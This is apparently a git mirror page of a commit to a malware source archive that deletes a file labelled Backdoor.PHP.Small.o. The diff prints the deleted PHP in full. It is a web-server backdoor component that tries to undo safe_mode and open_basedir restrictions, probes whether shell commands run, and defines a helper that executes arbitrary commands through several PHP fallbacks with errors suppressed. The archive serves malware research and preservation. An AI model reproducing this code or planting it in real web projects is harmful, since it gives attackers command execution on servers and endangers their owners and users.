mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
Delete Backdoor.PHP.Small.o
na
This commit is contained in:
parent
da5128b66d
commit
691e42ec05
@ -1,51 +0,0 @@
|
|||||||
<?php
|
|
||||||
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
|
|
||||||
$contrs=0;
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
ini_restore("safe_mode");
|
|
||||||
ini_restore("open_basedir");
|
|
||||||
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
|
|
||||||
$contrs=0;}
|
|
||||||
else{
|
|
||||||
$contrs=1;
|
|
||||||
}}
|
|
||||||
|
|
||||||
if($contrs == 0){
|
|
||||||
echo("FUCKSAFEMODEOFFBYMIC22");
|
|
||||||
}else{
|
|
||||||
echo("FUCKSAFEMODEONBYMIC22");
|
|
||||||
}
|
|
||||||
|
|
||||||
function ex($cfe){
|
|
||||||
$res = '';
|
|
||||||
if (!empty($cfe)){
|
|
||||||
if(function_exists('exec')){
|
|
||||||
@exec($cfe,$res);
|
|
||||||
$res = join("\n",$res);
|
|
||||||
}
|
|
||||||
elseif(function_exists('shell_exec')){
|
|
||||||
$res = @shell_exec($cfe);
|
|
||||||
}
|
|
||||||
elseif(function_exists('system')){
|
|
||||||
@ob_start();
|
|
||||||
@system($cfe);
|
|
||||||
$res = @ob_get_contents();
|
|
||||||
@ob_end_clean();
|
|
||||||
}
|
|
||||||
elseif(function_exists('passthru')){
|
|
||||||
@ob_start();
|
|
||||||
@passthru($cfe);
|
|
||||||
$res = @ob_get_contents();
|
|
||||||
@ob_end_clean();
|
|
||||||
}
|
|
||||||
elseif(@is_resource($f = @popen($cfe,"r"))){
|
|
||||||
$res = "";
|
|
||||||
while(!@feof($f)) { $res .= @fread($f,1024); }
|
|
||||||
@pclose($f);
|
|
||||||
}}
|
|
||||||
return $res;
|
|
||||||
}
|
|
||||||
exit;
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user